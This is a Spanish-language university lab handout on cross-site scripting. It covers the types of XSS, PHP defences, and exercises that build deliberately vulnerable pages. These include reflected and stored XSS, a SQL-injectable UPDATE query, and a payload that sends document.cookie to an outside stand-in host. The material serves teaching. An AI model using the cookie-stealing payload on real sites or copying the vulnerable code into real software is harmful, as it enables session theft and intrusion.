Sunteți pe pagina 1din 5

Materia: Web Security.

Tema: XSS Cross-site Scripting.

Introduccin.
Los ataques XSS Cross-Site Scripting pueden ser:
XSS persistente o directo o almacenado. Anida cdigo HTML por medio de etiquetas <script> o <iframe>. El
cdigo se implanta en el sitio y se ejecuta al abrir la pgina web. Se elimina protegiendo todo el cdigo del sitio.
Tambin el uso incorrecto del DOM con JavaScript puede permitir abrir otra pgina web con cdigo peligroso anidado
daando la pgina principal del sitio web.
XSS reflejado o indirecto. Reflejado en la pgina. Edita los mensajes, rutas, cookies o encabezados HTTP que se pasan
con URL, ingresando cdigo daino que se ejecuta en el sitio.
XSS mutante. Utiliza las propiedades de innerHTML, atributo utilizado en varios frameworks JavaScript, para
convertir una cadena HTML en parte del DOM, analizando las etiquetas y atributos.

Un ataque por XSS toma informacin de un usuario y la reenva, sin validar, a un navegador Web. Con XSS se ejecutan
secuencias de comandos en los navegadores del usuario; adems, puede secuestrar las sesiones del usuario, incluso
modificar otros sitios Web al insertar contenido daino y atacar con Phishing (obtiene informacin confidencial de nombres
de usuario, contraseas y datos de tarjetas de crdito al suplantar una comunicacin vlida, con secuencias peligrosas de
comandos, el navegador del usuario. Cualquier contenido activo anidado es una fuente potencial de peligro, por ejemplo
incluir ActiveX (OLE), VBscript, Shockwave, Flash y otros.

Para proteger este tipo de ataques XSS se sugieren las siguientes precauciones: Pasar la salida a travs de
htmlentities(), htmlspecialchars() o OWASP PHP Anti-XSS, para verificarla; adems, deshabilitar
register_globals, si es que se encuentra habilitada. Validar cualquier informacin extraa con longitud, tipo, sintaxis
o reglas de negocio. Decodificar y canonizar los valores de entrada con su representacin interna de la aplicacin antes de
validarlos. Especificar la codificacin de la salida con UTF-8 o ISO 8859-1 (latn occidental).

EJEMPLO 1.
Un XSS sencillo que muestra un alert.
Capturar los dos siguientes archivos en el bloc de notas:
xss1.html:
<html>
<head>
<meta charset="utf-8"/>
</head>
<body>
<form action="xss1.php">
Nombre:
<input type="text" name="captura"/>
<input type="submit" value="enviar"/>
</form>
</body>
</html>

xss1.php:
<?php
if(isset($_GET['captura'])){
echo "Has buscado: ".$_GET["captura"];
}
?>

En el navegador se muestran las siguientes ventanas. En el campo de texto, ingresar la siguiente cadena y digitar en enviar:
<script> alert('hola') </script>
1
M. en C. Alejandro Cifuentes A.
La cadena enviada no se ejecuta como un script y no se muestra porque el navegador Chrome est protegido contra este tipo
de ataque XSS; otros navegadores no estn protegidos contra ello. Por lo anterior, investigar y probar cules navegadores
estn o no protegidos contra XSS.

Por otro lado, si ahora se ingresa una cadena en la que se omite el smbolo < de la etiqueta <script> o algo similar, por
ejemplo la siguiente:
script> alert('hola') </script>

Se observa que ahora la cadena s es aceptada en el navegador Chrome; sin embargo, en otros navegadores se podra ejecutar
el script.

Ejercicio 1. Utilizar la funcin String.fromCharCode para cifrar un mensaje en ASCII. Por ejemplo:
String.fromCharCode(88,83,83)

Para utilizarse en una consulta completa:


<script>alert(String.fromCharCode(88,83,83))</script>

Verificar la ejecucin y documentar la aplicacin.

EJEMPLO 2.
Modificacin de la URL. Capturar los dos siguientes archivos en el bloc de notas:
xss2.html:
<html>
<head>
<meta charset="utf-8"/>
</head>
<body>
<form action="xss2.php">
Nombre:
<input type="text" name="nombre"/>
<input type="submit" value="Enviar"/>
</form>
</body>
</html>

xss2.php:
<?php
$nombre = $_GET['nombre'];
echo "Hola: $nombre<br>";
echo "<a href='http://ejemplo.com/'>Digitar aqu&iacute; para descargar</a>";
?>

2
M. en C. Alejandro Cifuentes A.
En el navegador se muestran las siguientes ventanas. En el campo de texto, ingresar la siguiente cadena (en una sola lnea)
y digitar en Enviar:
xss_prueba.php?nombre=
<script>
window.onload = function(){
var link = document.getElementsByTagName("a");link[0].href="direccion";
}
</script>

La cadena enviada se muestra en el campo de texto URL. En el cuerpo del navegador se indica la solicitud de Digitar aqu
para descargar.

Cuando se acepta la descarga se enva una solicitud hacia otro enlace, en este caso http://ejemplo.com, como se indica:

EJEMPLO 3.
En un archivo de texto se guarda el cdigo de un script enviado desde un navegador. El script se ejecutar cuando se lea el
archivo.
Primero, crear un archivo vaco de texto datos.txt. Enseguida, capturar los dos siguientes archivos en el bloc de notas:
xss3.html:
<html>
<head>
<meta charset="utf-8"/>
</head>
<body>
<form action="xss3.php">
Nombre:
<input type="text" name="nombre"/>
<input type="submit" value="Enviar"/>
</form>
</body>
</html>

3
M. en C. Alejandro Cifuentes A.
xss3.php
<?php
if (isset($_POST["nombre"])){
$fp = fopen('datos.txt', 'a');
fwrite($fp, $_POST["nombre"]);
fclose($fp);
}
?>
<form action="" method="post">
<br>Enviar saludo:<input type="text" name="nombre" size="50" value="" />
<input type="submit" />
</form>
<br /><br />
Saludando:
<?php
include('datos.txt');
?>

En el navegador se muestran las siguientes ventanas. En el campo de texto ingresar una cadena, por ejemplo ESCOM, y
digitar en Enviar:

Al recibirse la cadena en el servidor, el archivo PHP en otro campo de texto la solicitud del ingreso de algn texto, por
ejemplo Hola Instituto Politcnico Nacional !, el cual se guardar en el archivo datos.txt. Enseguida,
digitar en Enviar:

Cuando se recibe la cadena del saludo, se incluye el archivo y se enva automticamente su contenido al navegador, como
se indica en la siguiente figura:

EJEMPLO 4.
La posibilidad de cambiar el nombre del usuario para que el administrador pueda abrir la lista de los usuarios.
NOTA: Crear la base de datos y el archivo xss4.html para completar la funcionalidad de este ejemplo.
<?php
session_start();
if ( !isset($_SESSION['USER_NAME']) ) {
echo "Su identificaci&oacute;n...";
header( "Location: identificar.php" );
}else{
$db = new mysql('localhost', 'root', '', 'demo');
if( $db->connect_errno > 0 ){
die('No pudo conectarse a la base de datos ['.$db->connect_error.']');
}
if( $_SERVER['REQUEST_METHOD'] == "POST" ) {

4
M. en C. Alejandro Cifuentes A.
$query = "UPDATE usuarios SET nombre='".$_POST['disp_name']."' WHERE
usuario='".$_SESSION['USER_NAME'] . "';";
$db->query($query);
}else{
if( strcmp($_SESSION['USER_NAME'], 'admin') == 0 ){
echo "Bienvenido administrador!<br /><br />";
echo "Usuarios:<br/>";
$query = "SELECT nombre FROM usuarios WHERE usuario!='admin'";
if( !$result = $db->query($query) ){
die('Error al actualizar ['.$db->error.']');
}
while( $row = $result->fetch_assoc() ){
echo $row[nombre].'<br />';
}
}else{
echo "<form id='tags' name='tags' action='home.php' method='POST'>";
echo "Actualizar el nombre:<input type='text' id='disp_name'
name='disp_name' value=''>";
echo "<input type='submit' value='Actualizar'>";
}
}
}
?>

Probar la aplicacin ingresando la siguiente cadena (en una sola lnea) de entrada:
<a href=# onclick =
\"document.location=\'http://www.direccion.com/script.php?c=\'+escape\(document.cookie\)\
;\">
ESCOM
</a>

Completar y revisar la funcionalidad de este ejercicio y verificar su ejecucin con diferentes tipos de entradas. Obtener las
ventanas de la ejecucin de estos archivos.

Ejercicio 2:
Disear una aplicacin web que utilice la validacin con el uso de la funcin htmlspecialchars(), por ejemplo:
<?php
$nuevo = htmlspecialchars("<a href='test'>Prueba</a>", ENT_QUOTES);
echo $nuevo; // &lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt;
?>

Ejercicio 3:
Disear una aplicacin web que utilice la validacin con el uso de la funcin filter_var(), por ejemplo:
<?php
var_dump( filter_var('ana@ejemplo.com', FILTER_VALIDATE_EMAIL) );
var_dump( filter_var('http://ejemplo.com', FILTER_VALIDATE_URL,
FILTER_FLAG_PATH_REQUIRED) );
?>

NOTA: Generar un reporte documentado con imgenes, archivos y ventanas de la ejecucin de los ejemplos de esta
prctica.

Referencias:
OWASP Cross site scripting, http://www.owasp.org/index.php/Cross_Site_Scripting
OWASP Testing for XSS, http://www.owasp.org/index.php/Testing_for_Cross_site_scripting

5
M. en C. Alejandro Cifuentes A.

S-ar putea să vă placă și